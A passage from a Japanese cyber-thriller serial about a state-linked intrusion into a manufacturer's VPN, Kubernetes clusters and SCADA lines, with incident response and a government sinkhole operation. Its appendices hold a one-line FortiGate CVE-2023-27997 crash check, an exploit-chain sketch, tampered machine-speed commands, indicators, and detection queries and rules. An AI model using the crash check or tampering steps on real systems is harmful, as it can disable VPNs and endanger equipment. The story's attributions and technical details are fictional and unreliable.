Legacy PC 群:Sysmon 導入、EDR(CrowdStrike Falcon Prevent for Small Biz)30 日トライアル適用。
L3‑SW VLAN ACL:217→88(OT VLAN)を permit tcp 502 のみ。
KVM ケーブル撤去、OT 側へハードウェアファイアウォール設置を決定。
5.2 PoC 共有
長谷川直樹(NISC)へ以下を提出。
IOC Bundle(STIX 2.1)
Vulnerability:CVE‑2023‑27997
Malware:BlackFoxLoader, Mimikatfox.vbe
Indicator:river‑stone, 185.199.220.72, zhcnsync.net
Attack‑Pattern:T1190, T1021.002, T1047, T1546.015
6 人の壁
午後 4 時。昭南の社長室。小山社長は 58 歳、現場上がりの職人肌。「…アタシらのとこが穴だったワケだな」「今ふさぎました。だが、追加投資が必要です」 篠田は静かに言う。「機密扱う以上、東日と同等のセキュリティ基準に上げたい」「カネは出す。ただ――人がいねぇ」人材不足――結局、これが真の弱点。菜々子は苦笑いした。
7 遅配の代償
その夜、東日の調達部門が緊急会議。昭南のライン停止で、ロット 3,500 個のアルミハウジング部品が納期遅延。高梨本部長は経営会議で「セキュリティ停止は不可避」と擁護したが、営業サイドからは損害 2.2 億円の声。
篠田の覚悟「サプライチェーンの最弱リンクを強くしない限り、被害額は止まらない」
8 BlackFox の裏庭
8.1 再構築中の C2
シンクホールで奪取した C2 コマンドのダンプを菜々子が解析。task":"rebuild","asset":"ShoNanVPN","module":"forti_vpn_shell"つまり FortiGate 再侵入シェルを用意する指示。侵入は一度で終わらない。パッチを当てても、別のゼロデイが控えている。
8.2 “FoxHole” ファーム
防衛省から新情報:“FoxHole” と呼ばれる FortiGate 未公開ゼロデイが闇フォーラムで売られている。販売者は「独立ハッカー」名義だが、背後には中国軍系ベンダーの影。価格 40 BTC。供給網破り専用 と噂。長谷川曰く「BlackFox2025 の最終兵器かもしれない」。
9 夜のエピローグ
昭南の工場現場で、PLC に貼られた注意喚起ステッカーを篠田が剥がすと、製造ラインのモーター音が静かに唸った。まだ完全には安全でない。だが、穴は把握した。埋め戻すだけだ。窓の外、夕焼けに富士のシルエット。篠田のスマホに菜々子からメッセージ。
makefileNana: FoxHole exploit サンプル手配。明朝までに lab で検証しよ。 Taku: 了解。夜行バスで戻る。次の防衛線を築く。
東日電産と昭南工作所――二社の運命を分かつ夜が、音もなく沈んでいった。
◆章末テクニカル付録
A. FortiGate コンソール:CVE‑2023‑27997 PoC 簡易チェック
bash# echo | openssl s_client -connect vpn.example.co.jp:443 -tls1_2 -servername AAAAAAAAA... (1168 bytes) # FortiGate が即座に sslvpn crash → diag sys top shows sslvpn 0% → confirm vulnerable
B. SMBv1 無効化スクリプト(QNAP QTS 4.3.4 用)
sh# /etc/init.d/samba4.sh stop # setcfg -f /etc/config/smb.conf global "smb2 forbid" "none" # setcfg -f /etc/config/smb.conf global "smb1 enable" "no" # /etc/init.d/samba4.sh start
C. ESC8 テンプレート無効化手順
rustcertutil -config "PKI-ROOT01\ROOTCA" -deleteTemplate "UserAutoEnroll" # ADSIEdit -> CN=Certificate Templates -> security -> uncheck 'Enroll' for Authenticated Users
D. Golden Ticket 検知 KQL (Sentinel)
kustoSecurityEvent | where EventID == 4769 | where ServiceName == "krbtgt" and TicketOptions has "0x40810010" | summarize Count=count() by IpAddress, bin(TimeGenerated, 30m) | where Count > 5
第5章:ゼロデイの猛威
――2025 年 2 月 18 日 01 時04 分 東日電産 中部製造拠点 基幹系サーバールーム
0 静寂を裂くカーネルパニック
冷却ファンの低い唸り。ラック間の通路に漂うオゾン臭。午前 1 時――監視カメラの赤外線が捉えたのは、基幹受発注システム OES‑Core01(Dell R750, RHEL 8.9)が、青白いカーネルパニック画面を出してリブートループに陥る瞬間だった。
yamlRIP: 0010:__memcpy+0x31/0x120 Code: 0f b7 8f 00 24 00 00 48 8b 97 08 24 00 00 48 8b 0e 48 8b 5f 08 ... Kernel panic - not syncing: Fatal exception
同時刻、上位の Oracle 19c RAC ノードがクラスター切り離しでフェイルオーバに失敗し、SCADA ダッシュボードへ「部材在庫照会不可」の赤帯が表示された。
1 見えない破裂点
1.1 EDR が捕えた奇妙な PID
CrowdStrike Falcon 計算ノード ENG‑VmHost12 が出したハイアラート:
bashSuspiciousProcessLaunch Parent: /usr/java/jdk-11/bin/java (PID 4121) Child : /tmp/.java_pid4121/coregen (PID 4503) SHA256: 4f70bfe74e9d2c5a47c4380... Command: ./coregen --socket /var/run/mgmt.sock --payload /tmp/.mod_so
coregen は本来 JDK デバッグ用ユーティリティだが、--socket オプションは存在しない。
菜々子の所見「LD_PRELOAD で乗っ取り、coregen 名に偽装した ELF ローダ。socket 経由でルートキットを注入してる」
1.2 脆い spring‑boot
OES‑Core01 のアプリケーションログ /var/log/oes/app.log に残った最後の行。
pgsql[INFO ] c.t.infra.auth.TokenFilter - authenticated user=svc_batch at 01:03:51 [WARN ] c.t.infra.db.OrderDao - query took 5123 ms -- SELECT * FROM orders WHERE ...
直後に java.lang.ArrayStoreException が吐かれ、JVM クラッシュ。篠田は hs_err_pid4503.log を開く。
mathematicaStack: [0x00007fd4fd9c7000,0x00007fd4fdac8000], sp=0x00007fd4fdac15a0, free space=1016k Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code) C [libattack.so+0x1f93] memcpy+0x103
libattack.so――存在しない正体不明の共有ライブラリ。LD_LIBRARY_PATH 改竄 で JBoss EAP の起動 chain に差し込まれていた。
2 未知の入口
2.1 WAF ログ 12 秒の空白
FortiWeb Cloud の Traffic Log。01:03:39〜01:03:51 の 12 秒間、/api/v1/orders/bulk-import に約 250 req/s。すべて HTTP/2 POST。ヘッダ X‑OES‑Token: null。だが WAF は 200 を返している。署名もアノマリもヒットせず素通り。
菜々子が PCAP を開く。gRPC パケット内部の Protobuf フィールド orderCsv=“@@@...” に、3 MB 以上の base64 が詰め込まれている。gRPC サイズリミット 4 MB をだまし、“CSV アップロード機能”のサイズチェックを回避するペイロード分割を検知。
仮説: bulk-import は Dev 用隠しエンドポイント フレーム分割で “chunkLen × n + padding” オーバーフロー CSV パーサーの動的配列を上書きし、__malloc_hook → ROP → system("/bin/sh")
DoppelGänger のような手口。ゼロデイ確定だった。
2.2 コードリーディング
Git リポジトリ(Bitbucket)を掘る。BulkImportController.java に開発者コメント:
java@PostMapping("/bulk-import") public ResponseEntity<String> bulkImport( @RequestParam("file") MultipartFile file) { // TODO size check orderService.handle(file.getBytes()); return ResponseEntity.ok("OK"); }
「TODO size check」。未実装のまま本番へ。開発者は退職しており、レビューもスキップされていた。
3 影はクラスタを跳ねる
3.1 マルチクラスタ連鎖
OES‑Core は 3 つの Kubernetes クラスタ prod‑a / prod‑b / prod‑c に分散。coregen は最初に prod‑b ノードへ落ち、Kubernetes API を横展開。
篠田は Kube‑audit ログを KQL 集計。
kustoKubePodAudit | where verb == "create" and objectRef.name startswith "coregen" | summarize count() by node, bin(TimeGenerated, 1m)
結果:Node 増殖曲線。30 秒内に 12→48→96 Pod。Pod spec をみると hostPID: true、privileged: true。Falco が火を噴くようにアラート。
yamlFalco Rule: Write below /usr Process: /bin/bash NameSpace: coregen-43x9c
3.2 Container Escape
菜々子がコンテナ内 /proc/self/maps を確認。/lib/x86_64-linux-gnu/libcap.so に setuid root フラグを強制設定。Moreover, sysctl kernel.unprivileged_bpf_disabled=0 が入っており、BPF syscall で kprobe を利用、cred->uid=0 に書き換えるDirtyCred亜種だ。
コンテナ → ホストルート → 他クラスタ——kubeconfig cluster-admin のトークンが /opt/keys/ ディレクトリに平文で放置。攻撃者はそれを掴み、全クラスタ掌握に成功した。
4 SCADA への暗い橋
東日の工程管理 SCADA は Ignition 8.1。MQTT プロバイダ mqtt.tdn.local:1883 へ、OES が生産指示 JSON を投げる設計。攻撃者は OES コンテナ出力を BPF でキャプチャし、SCADA への MQTT Publish を改ざんした。
json{"cmd":"setSpeed","line":"Line12","rpm":1800}
→ 改ざん後
json{"cmd":"setSpeed","line":"Line12","rpm":9999}
SCADA は 9,999 rpm を異常値と認識し自動停止したが、ライン主管は「センサ異常」と誤認し再起動を指示。危うくモーター焼損寸前だった。
5 緊急封じ込め ≪HYPERION≫
5.1 クラスタ凍結
村上部長は 封じ込め Playbook #IR‑07 “HYPERION” を発動。
すべての kube‑api インバウンドをネットワークファイアウォールで DROP
etcd スナップショット取得 → 別セグメントに待避
クラスタノードを systemctl stop kubelet で即時停止
Oracle RAC と OES 連携を “read‑only” モードでリカバリ
5.2 Edge Rate Limiting
SCADA 側では Ignition Gateway に emergency script:
pythonif payload['rpm'] > 3000: system.tag.writeBlocking(['[default]Line12/State'], 'ALARM') system.tag.writeBlocking(['[default]Line12/SpeedCommand'], 0)
3 秒以内に 54 件ブロック。ラインは保護された。
6 ゼロデイ根絶へのレース
6.1 PoC → CVE リザーブ
菜々子は bulk-import パーサの “split & join” オーバーフローをGDB で再現し、ASAN でクラッシュログ採取。
bash==15284==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eeef READ of size 8 at 0x60200000eeef thread T0 #0 0x7fcfe4c1b03f in memcpy
再現率 100%。篠田は JPCERT/CC へ 0‑day レポートを送り、CVE ID をリザーブ申請。数時間後 CVE‑2025‑11490 が発行。
6.2 ベンダー駆動
OES ベンダー「TechNado 社」緊急対応会議。
パッチ ETA:72 時間
暫定回避策:bulk-import エンドポイントを Ingress 規則 deny
gRPC サイズリミットを 1 MB に固定
Java Security Manager 有効化(現状 off)
高梨本部長は「72 時間ライン停止は無理だ」と激昂したが、篠田は「止めずに続ければ全製造図面が盗まれる」と譲らず、結果:基幹系 read‑only+手動受発注入力という極限運用に舵を切る。
7 “狐火” のカウンター
7.1 Honeypot‑as‑C2
長谷川直樹率いる政府連携チームは、奪取した BlackFox C2 プロトコル を実装し、Azure 上に偽 C2 “FoxFlare” を構築。coregen Pod を一部放置し、Beacon を FoxFlare へ向けさせる。攻撃者は気付かず、ゼロデイ Exploit Kit(名:FoxHole‑β)の追加モジュールを投下。解析で FortiGate 未公開バグ + Kubernetes API Server バグの複合チェーンと判明し、政府 0‑day シェアリング枠に登録された。
8 黎明
2 月 19 日 05 時54 分。RHEL 8.9 に Hotfix RHSA‑2025:1194 が適用され、OES‑Core01 が正常起動。クラスタは etcd スナップショットからクリーンビルドされ、bulk-import はコード削除。サイズ制御は Nginx Ingress で再定義。
朝焼けの製造ラインがゆっくりと動き出す。RPM は 1200、正常。篠田は窓の外を見やった。夜明けの光は淡く、しかし確かに希望を照らす。
彼のスマホには菜々子の新しいメッセージ。
makefileNana: FoxHole‑β 完全解析完了。脆弱関数は sslvpn_chk_hostkey Taku: よし。今日も戦争だ。
◆章末テクニカル付録
項目 | 値 | 解説 |
新規 CVE | CVE‑2025‑11490 | gRPC CSV Bulk‑Import パーサ RCE |
悪用 DLL | libattack.so SHA‑256=4f70bfe7… | LD_PRELOAD, DirtyCred 亜種 |
悪用 Exploit Kit | “FoxHole‑β” | FortiGate + K8s RCE チェーン |
暫定回避 | Kubernetes Ingress limit-rate 1m | gRPC 分割阻止 |
根絶策 | クラスタ再構築、Golden Ticket 再ロール | HostPID/privileged Pod 禁止 |
新検知 | Falco WriteBelowUsr + Sysdig | Rootkit 挿入検知 |
第6章:危機対策本部
――2025 年 2 月 19 日 09 時15 分 東日電産 本社 21 階 第1災害対策室(臨時 CSIRT‐War Room)
0 赤いテーブル
縦 6 メートルのオーバル卓。中央に並ぶ 55 インチ 8 台のビデオウォールには、“Incident #BF‑2025‑01” のタイムライン、クラスター状況、サプライチェーン被害マップがリアルタイムで更新されていた。危機対策本部(Emergency Response Headquarters:ERHQ)――経営、技術、広報、法務、サプライチェーン、現場ラインを束ねる総力戦の舞台である。
1 組織図と通信線
1.1 IR 標準模式図(NIST SP‑800‑61r2 準拠)
css┌─────────────┐ │Incident Cmd │ ← 高梨洋平(総指揮) └──────┬──────┘ ┌──────────────┼──────────────┐ │ │ ┌───────▼───────┐ ┌────────▼────────┐ │Technical Lead │ │Communications │ │篠田拓也 │ │室長:広報・法務│ └───────┬───────┘ └────────┬────────┘ │ │ ┌───────▼──────┐ ┌───────────▼──────────┐ │Ops & Contain.│ │Public / Gov Liaison│ │菜々子・CSIRT │ │長谷川直樹(NISC) │ └─────────────┘ └────────────────────┘
すべての通話・画面共有は Zero‑Trust 準拠。
Zoom Gov‑JP エンドツーエンド暗号化
Mattermost On‑prem に IR チャネル:#erhq‐tigerteam
OneTime Secret でパスワード配布通信履歴は自動で Azure Purview に記録し、後日の監査に備える。
2 初動レビュー会議
2.1 T‑0+72 h サマリ
篠田が KQL ダッシュボードを示す。
メトリクス | 値 | コメント |
感染端末総数 | 147 → 0 | EDR 隔離成功 |
流出ファイル | AutoCAD 10 点 / Excel 3 点 | 暗号化にて無読可能 |
SCADA 影響 | Line12 停止 4 h | 製品ロス 0 |
サプライ企業被害 | 昭南 工作所 1 社 | フォロー中 |
未公開脆弱性 | CVE‑2025‑11490 | 通報済み、対策待ち |
2.2 決裁事項
製造ライン再稼働条件
OES hotfix 完全適用
SCADA MQTT ACL 適用済み
PLC Write Guard スクリプト常時稼働監視
情報公開ポリシー
取引先には 24 h 以内に一次報告
プレスリリース案を広報がドラフト
個人情報流出は無し ⇒ 個人通知不要
能動的サイバー防御参加の是非
防衛省から正式協力要請あり
法務確認:企業は「情報提供」で協力、積極アクセスは不可
篠田・菜々子は技術顧問として Gov‑BlueTeam へ派遣
3 セキュリティ運用刷新ロードマップ
3.1 “Phase 0” 即応タスク(1 週間以内)
項目 | SLA | オーナ | 詳細 |
OES WAF Custom Sig | 24 h | 菜々子 | orders/bulk-.* → Size<1MiB, AuthHeader≠null |
K8s Admission Ctrl. | 48 h | CSIRT Ops | hostPID / privileged Pod deny |
AD CS Hardening | 72 h | 篠田 | ESC1/8 テンプレ OFF, CT_FLAG_CHANGE |
3.2 “Phase 1” 体制強化(30 日)
SOC ログ保管量を 14 日→180 日 に拡張(S3IA + Glacier)
サプライチェーン統制:NIST SP‑800‑161r1 基準で第三者監査
人材:セキュリティ専門常勤 4→8 名、外部 MSSP 24×7 契約
3.3 “Phase 2” ガバナンス(90 日)
CISO 直轄 Cyber Risk Committee 設置(取締役会配下)
紫チーム(Purple Team)演習 年 4 回
セキュリティ KPI:
Mean‑Time‑To‑Detect (MTTD) ≤ 15 m
Mean‑Time‑To‑Respond (MTTR) ≤ 60 m
サプライチェーン準拠率 ≥ 90 %
4 危機対策本部:技術オペレーション
4.1 リアルタイム ATO(Authority‑To‑Operate)ダッシュボード
篠田は Grafana Loki と Azure Sentinel を WebSocket 連携し、「赤・橙・黄・緑」のシグナルライトモデルを実装。信号のルール(YAML):
yamlsignal_rules: - name: CriticalC2 query: > CommonSecurityLog | where RequestURL contains "zhcnsync" or DestinationIP == "185.199.220.72" threshold: 1 color: red - name: AnomalousPLCWrite query: > ScadaEvent | where Tag == "SpeedOverride" and Value > 1.3 threshold: 1 color: red - name: HighLoginFail query: > SecurityEvent | where EventID == 4625 and IpAddress !startswith "10." | summarize count() by bin(TimeGenerated, 5m) | where count_ > 50 threshold: 1 color: yellow
ビデオウォールの左側に 3 秒毎で更新。“赤” が 0 を示していた。心理的安心と即応の両立――ERHQ の可視化は、人とシステム両面を守る。
4.2 “Playbook Runner” 自動化
菜々子は StackStorm で封じ込め手順を IaC 化。
yamlname: quarantine_edr_host pack: ir_playbooks description: > Isolate host via Falcon API then block IP via NGFW. parameters: hostname: type: string action: chain: - name: isolate ref: cs.falcon.isolate_host parameters: host: "{{hostname}}" - name: block ref: paloalto.create_block_rule parameters: ip: "{{execution.results.isolate.agent_ip}}"
Slack から /quarantine PC‑123 と叩けば即時発動。MTTR 減少を KPI で測定し、初動 40 分→8 分 を達成。
5 官民タスクフォース
5.1 Gov‑BlueTeam “Shield‑JP 2025”
長谷川直樹が NISC 主導シールドルームからブリーフ。
参加:防衛省サイバー防衛隊、警察庁、IPA、主要 8 社
ミッション:FoxHole‑β exploit 解析、国外 C2 の無力化
東日の役割:マルウェア挙動ログ共有、PoC 再現環境提供
5.2 能動的サイバー防御の法的境界
法務顧問・泉谷弁護士が解説。
改正「サイバー防御出動特措法」(2025‑5‑14 施行)
第7条:政府機関に限定した海外サーバ無力化
第9条:重要インフラ事業者による「協力要請」受諾義務
民間が行えるのは 情報提供・被害範囲限定措置 まで。篠田と菜々子は公的 BlueTeam に主任技術者として出向。FoxFlare Honeypot は政府運用のため合法。
6 人材と文化
6.1 現場ヒアリング
製造ライン主任・加藤が ERHQ に呼ばれる。「IT は分からんが、止めるなら止める理由を現場に説明してくれ」篠田は ICS セキュリティ教育モジュール (15 分動画) を制作。PLC を使った模擬攻撃 → 制御不能 → Safety Relay 作動 の実験映像。現場は映像を見て初めて「ライン停止の必然」を認識し、協力空気が生まれる。
6.2 “サイバー道場”
CSIRT は業務後 1 時間の 道場タイム を週 2 回設定。
初心者:Wireshark 基礎
中級:KQL & Sigma ルール作成
上級:Red Team TTP 体験(Caldera, Atomic‑Red)全社員参加自由、オンライン配信あり。最初は 6 人→2 週後 41 人。セキュリティ文化の萌芽。
7 資本とコスト
高梨本部長は CFO と折衝。年間セキュリティ予算を 売上比 0.8% → 2.0% へ段階的増額要求。CFO は ROI 試算を提示。
投資 | コスト | 想定リスク減少 | ROI(3 年) |
EDR/XDR 全面導入 | 1.8 億円 | 重大インシデント確率 40%↓ | 148% |
MSSP 24×7 | 0.9 億円 | MTTR 60%↓ | 122% |
サプライ監査 | 0.4 億円 | サプライ侵害 70%↓ | 305% |
取締役会は全会一致で可決。「守りなくして成長なし」の標語が掲げられる。
8 夜の撤収
21 時。ERHQ のライトが暖色に変わり “Day‑1” の終業を告げる。だが篠田は椅子に沈みながらタブレットでログを追い続けた。菜々子が紙コップを差し出す。「寝ろ。今日の“赤”ゼロキープは勝利だ」「FoxHole‑β の V2 が来る」「こっちも進化するさ」
窓の外、名古屋港の灯が瞬く。サイバーの戦場は眠らない。だが、守る者もまた眠らず歩む。
◆章末速習:危機対策本部チェックリスト(抜粋)
区分 | 項目 | 目標値 / 状態 |
指揮 | 経営直下 Incident Cmd | √ |
通信 | 暗号化チャネル(Zoom Gov, Mattermost) | √ |
可視化 | ATO ダッシュボード更新間隔 ≤ 5 s | 3 s |
自動化 | Playbook MTTR ≤ 10 m | 8 m |
ガバナンス | KPIs 4 件/月報告 | 実装 |
教育 | 道場タイム参加率 ≥ 15% | 18% |
第7章:諜報の境界
――2025 年 2 月 22 日 00 時43 分 防衛省麹町分庁舎 地下3階 サイバー情報統合センター(CIC)
0 ガラス越しの檻
防衛省サイバー防衛隊の作戦室は、二重防音の強化ガラスで仕切られていた。壁一面に張り付く 96 台の 27 インチモニター。緑と赤と黄のビットマップが走り、“Op BlackFox‑Trace” のタイトルが中央に踊る。
ガラスの向こうへ案内された篠田拓也と杉本菜々子は、軍事施設特有の微かな消毒液の匂いに包まれながら立ち尽くした。長谷川直樹(NISC)が手短に紹介する。
「ここが国家レベルの“BlueTeam”最前線だ。今日から君たちは顧問コード “C‑Tiger‑01/02”。我々は攻撃者の真名を掴みに行く」
1 アトリビューションの作法
1.1 五層照合モデル(Five‑Layer Attribution)
長谷川はホログラムモニターに五つの円を重ねた。
TTP(手法)
マルウェアコード類似度
C2 インフラ相関
オペレーション時間帯
政治・軍事行事との連動
「五層すべて重なるとき、“国”が透ける」
(1) TTP
LLMNR/Responder 横展開 → Tick 系列と一致
ESC8 Shadow Credentials → APT41 (Winnti) が近似
FortiGate CVE‑2023‑27997 悪用 → MirrorFace 2024 キャンペーン共通
(2) コード指紋
菜々子が示す ssdeep 128bit ハッシュ比較結果:
サンプル | 比率 | 既知グループ |
libattack.so vs Winnti WINNKIT | 72% | APT41 |
coregen vs MirrorFace MirrorLoader v5 | 65% | MirrorFace |
winnet.dll vs Tick Datper | 58% | Tick |
「複数ユニットの“合弁作戦”だ」 と長谷川。
(3) C2 インフラ
サイバー防衛隊は国際組織と協働し、奪取した C2 ドメイン 324 個を BGP ルートと WHOIS を突き合わせた。8 割以上が 中国山東省濰坊市のレンタルサーバ会社 “Haichang IDC” 。さらに DNS テンプレに**“xNF‑↑↓”**というカスタム SOA レコード。これは 2023 年 PLA(中国人民解放軍)ユニット 61398 派生部隊 “黑狐旅” が用いた識別子だと判明した。
(4) 作戦時間
侵入ピーク:UTC 14:00〜18:00(北京 22:00〜翌02:00)夜間作業を示すが、中国サイバー部隊は“夜勤班”が存在。
(5) 政治連動
台湾総統選に合わせた 1 月、東日と同業 3 社で同型攻撃が観測。極超音速兵器製造の情報収集が急務だった時期と重なる。
2 FoxHole‑β の深核
2.1 ゼロデイ連鎖(Kill‑Chain‑Diagram)
scssFortiGate SSL‑VPN Heap Ovfl → WebShell Drop → Socks5 Pivot → Kubernetes API Exploit (#Foxβ‑K8s‑21) → BPF DirtyCred → Coregen Loader → ShadowCred (ESC8) → Golden Ticket → SCADA Manip
長谷川は板書し、**「黒狐は横串の“スパイ‑as‑a‑Service”」**と評した。国家バックを持ちながら、複数の請負ハッカー部隊がモジュールを持ち寄るプラットフォームモデル。暗号通貨で報酬を受け取り、成果物(盗み出した図面など)は PLA 系シンクタンクを通じて国有軍需企業に流れる。
2.2 暗号証跡
CIC の暗号解析部門は、FoxFlareが捕捉した TLS ハンドシェイクの乱数列をディジタルウォーターマークとして抽出。→ 同一ウォーターマークが、2024 年 12 月 ウクライナ重工業 侵害でも検出。**「作戦リーダー“玄武‑9 (Xuanwu‑9)”」**に紐づく証左となった。
3 能動防御カウンター “OP‑STELLAR‑FANG”
3.1 法律の枠内での“反撃”
改正法第7条に基づき防衛省は
「対外サーバーの一時機能停止措置」を閣議経由で承認。
対象:山東省 Haichang IDC IP 範囲 /24 3 ブロック
方式:国際連携(ASEAN‑CERT、Five Eyes SIGINT)
3.2 ハイジャック
作戦は BGP 再ルートではなく、DNS アンダーカット+Cloud‑Sinkhole:
当該 IDC の上位 TLD レジストラに停止要請
同時に Anycast Sinkhole(Azure China 北部データセンタ)を立て、A/AAAA レコードを 60 s TTL で奪取
攻撃者のクライアントからの Beacon を吸収
Beacon 内の system fingerprint (HWID / MAC) を自動抽出し IOC 化
夜 23 時、TTL 伝播完了。Beacon 1.6 万件/h → 80 h で 110 万件の資産情報が収集された。
日本 5 社
台湾 3 社
ドイツ 2 社
その他 12 か国
長谷川は「世界規模の産業スパイ網が顕在化した」と総括した。
4 捲土重来の兆し
4.1 BlackFox‑γ (Gamma) リモートリサーチ
灯りの落ちた ERHQ で、菜々子が新サンプルに目を凝らす。FoxFlare へ 2 月 21 日から流れ込んだ新 DLL gammaload.dll:
機能 | 概要 |
start_vgpu_enum() | 仮想 GPU 情報列挙、AI 推論サーバ選定 |
encrypt_chunk() | AES‑GCM + Curve448 鍵交換 |
task_ml_dump() | PyTorch Checkpoint 抽出 |
「AI モデルごと盗む気だ…」東日が試験導入する“製造ライン自律最適化 AI”の学習モデルが狙われている。AI モデルはウェイトだけで数十ギガ。設計ノウハウの塊だ。
菜々子は YARA を拡張。
yararule BlackFoxGamma { strings: $s1 = "start_vgpu_enum" $s2 = "task_ml_dump" $s3 = { 6A 02 5F 0F B6 } condition: filesize < 5MB and all of ($s*) }
EDR グローバル検索 → ヒット 0。だが長谷川が警告。
「γはまだ試験段階。α→β→γ と来ている。日本は“実戦テスト場”にされている」
5 産業スパイ vs 経済安全保障
経産省から ERHQ へ通達。
「経済安全保障特定重要技術 指定リスト」に該当する‑ 極超音速材料‑ 高効率電動アクチュエータ‑ 製造ライン AI 最適化モデル
→ 東日は国家補助 20 億円対象に。代わりに
セキュリティ要件 NIST 800‑172 100% 適合
年 2 回行政監査
技術流出時は即日報告義務
高梨本部長は頷き「もう逃げられない。守り切る」と宣言した。
6 境界線上のエンジニア
6.1 篠田の葛藤
FoxFlare のダッシュボードに並ぶ Beacon IP の洪水。
“収集されたデータを基に、相手にどう反撃するか”篠田は技術者としての好奇心と法の境界の狭間で揺れる。手を伸ばせば、相手の内部ネットにスキャンを撃ち込むことも可能だ。だがそれは国を越える“侵入”を意味する。
長谷川は静かに言った。
「線を越えるのは国家の仕事だ。君たちの使命は境界を守ること」
6.2 菜々子の決意
菜々子は Git レポジトリを開き、新しい Purple Team シナリオ を書き始める。
FoxHole‑β シミュレート
AI モデル窃取試行
ICS 破壊スクリプト対抗パッチ
「攻め手を学び、防御に活かす。それがホワイトハッカー」
7 夜明け前の静寂
2 月 23 日 04 時18 分。CIC のメインスクリーンが“赤 0”を保ったまま 12 時間。だが世界のどこかで、新しい C2 が灯る音がする。篠田はグラスの水を飲み干し、菜々子に言う。
「境界の外に、終わりはない。だが――内側を護り抜く」
菜々子は笑った。
「それが私たちの“BlackFox 狩り道”よ」
◆章末テクニカル付録
A. 五層照合モデル対応表
層 | BlackFox‑β 検知要素 | 高一致グループ |
TTP | ESC8 / FortiGate / DirtyCred | APT41・Tick |
コード | ssdeep ≥60% | APT41 |
C2 | Haichang IDC / SOA xNF | MirrorFace |
時間帯 | UTC 14‑18 | Tick |
政治 | 台湾選挙連動 | PLA 関与 |
B. DNS アンダーカット手順概要
国外ホスティングの Registrar にダークゾーン通告
TLD ネームサーバ変更申請
60 s TTL で Anycast Sinkhole IP 発布
被疑ドメイン A/AAAA 書換え
Beacon ログ自動 IOC 化 (STIX 2.1)
C. Falcon Data Search — AI モデル窃取検知
kustoEventSimpleName=FileMod | where FilePath endswith ".pt" or FilePath endswith ".pth" | where FileSize > 50000000 | where Tactic == "exfiltration"
第8章:境界なき反撃
――2025 年 2 月 24 日 22 時07 分 自衛隊市ヶ谷基地 サイバー戦指揮所(J‑CYSOC)
0 “Operation STELLAR FANG” 発令
防衛副大臣の承認印が押された A4 用紙が LED ライト下に置かれた。コードネーム OP‑STELLAR‑FANG──日本政府が史上初めて公式に展開する「能動的サイバー防御」作戦だ。
目的:BlackFox APT インフラの無力化と証拠確保
根拠法:改正サイバー防御出動特措法 第7条
期間:2025‑02‑25 00:00 JST 〜 02‑28 23:59 JST
統制:防衛省サイバー戦指揮所(J‑CYSOC)
協力:NISC / 警察庁 / IPA / 東日電産・他 7 社技術顧問
指揮官である陸将補・湯浅義秋は、会議テーブルを静かに見回した。
「各位、境界を越える。だが、法も倫理も守る。“奪って壊す”のではなく、“握って沈める”。」
その横で、顧問コード C‑Tiger‑01 ―篠田拓也は喉が渇くのを感じた。攻撃を受ける側から──攻撃者へ回線を伸ばす側へ。境界線を跨ぐ瞬間が、今まさに訪れようとしていた。
1 作戦アーキテクチャ
1.1 四層タスクフォース
scss┌──────────────────────────────────────┐ │ L0 政策統制 (防衛副大臣/NISC 次長) │ ├──────────────────────────────────────┤ │ L1 指揮統制 (J‑CYSOC本部)湯浅指揮官 │ ├──────────────────────────────────────┤ │ L2 作戦技術 ──┬─ BlueOps (防衛省CND) │ │ ├─ HuntOps (NISC, IPA) │ │ └─ Liaison (篠田・菜々子 外4) │ ├──────────────────────────────────────┤ │ L3 支援基盤 (クラウドSinkhole, DNS-Reg, CERT) │ └──────────────────────────────────────┘
1.2 クラウド・シンクホール拡張
前章で稼働した FoxFlare(Azure China 北部)に加え、今回
AWS ap‑east‑1(香港)
GCP asia‑northeast‑2(大阪)
阿里雲 ap‑se‑suzhou(蘇州)に Anycast ノードを増設。DNS TTL 60 秒で BlackFox ドメイン 512 件を再帰的アンダーカットする。
菜々子の担当:シンクホール側で Beacon を自動解析し、
HWID / OS / 時刻 / Beacon ver / 拡張モジュールを STIX 2.1 + TAXII で流し、各国 CERT とリアルタイム共有する。
2 フェーズ I:ディセプション
2.1 “藍晶(Blue‑Crystal)” コンテナ
作戦 00:10、シンクホールに新種モジュール mlsync_v2.pkg が届く。ハッシュ照合後、菜々子はフォレンジック・サンドボックスへ自動送致。1 時間後に得た動的解析レポート:
項目 | 内容 |
実行環境要求 | CUDA 11.8 / vGPU K80 |
主 API | /upload_model, /download_task |
暗号 | ChaCha20‑Poly1305 + X25519 |
目的 | 高速エッジ AI モデル反復盗取 |
長谷川が呟く。
「AI ステートフル盗難…産業モデルを“差分学習”で吸う気か」
菜々子はディセプション用ダミー AI モデルを準備。Open‑sourced GPT‑2 tiny に重回帰層を載せた擬似部品最適化モデル(サイズ 3.2 GB)に“罠データ”を埋め込む。
層 12 の weight 行列に「DEADBEEF」水印
Embedding にランダムノイズ(±0.0003)
これをエンコードし、mlsync_v2.pkg が要求する JSON Format で返答。ブラックボックスへ誘い込むハニーモデルだ。
2.2 指紋付きモデル流出
23 分後、中国石家荘(IP 223.104.56.17)から 3.2 GB のダウンロード検知。同時に、hxxp://r‑dl‑cache[.]xyz/submit が応答。スピアヘッダに
makefileX‑Fox‑XID: 9b7e:713f:dead:beef
水印マッチ確認。菜々子は「相手側リポジトリに汚染モデルが貯蔵された」と判定した。
3 フェーズ II:C2 無力化
3.1 “Drop‑Needle” DNS フリップ
湯浅指揮官が 02:00 JST に「フェーズ II 移行」を宣言。BGP 操作は行わず、対象 C2 の DNS を 127.0.0.1 へフリップ。TTL:30 秒。対象ドメイン群 324 件。
DNS 管理権を保持するレジストラ 2 社は ASEAN‑CERT 経由で協力済。フリップ時刻に合わせ、多国 CERT が監視を開始。結果:Beacon トラフィック 720 req/s → 0 req に落ち込む。BlackFox オペレータは、DNS NXDOMAIN を疑い、30 分後にレコード修正を試みたがRegistrar 側でロックされ拒否。“Drop‑Needle” 成功。
3.2 Socks5 Pivot 遮断
C2 が消えると、踏み台にしていた日本国内 VPS 群が代替 C2 へ Socks5 Tunnel を張り直す挙動が検知された。ここで 警察庁サイバー捜査隊が動く。
事前照会で対象 VPS 42 台を帯域制限
プロバイダ協力で該当契約を“凍結”結果、国内経路も封鎖。
4 フェーズ III:証拠確保
4.1 “Stellar‑Probe” メモリイメージ奪取
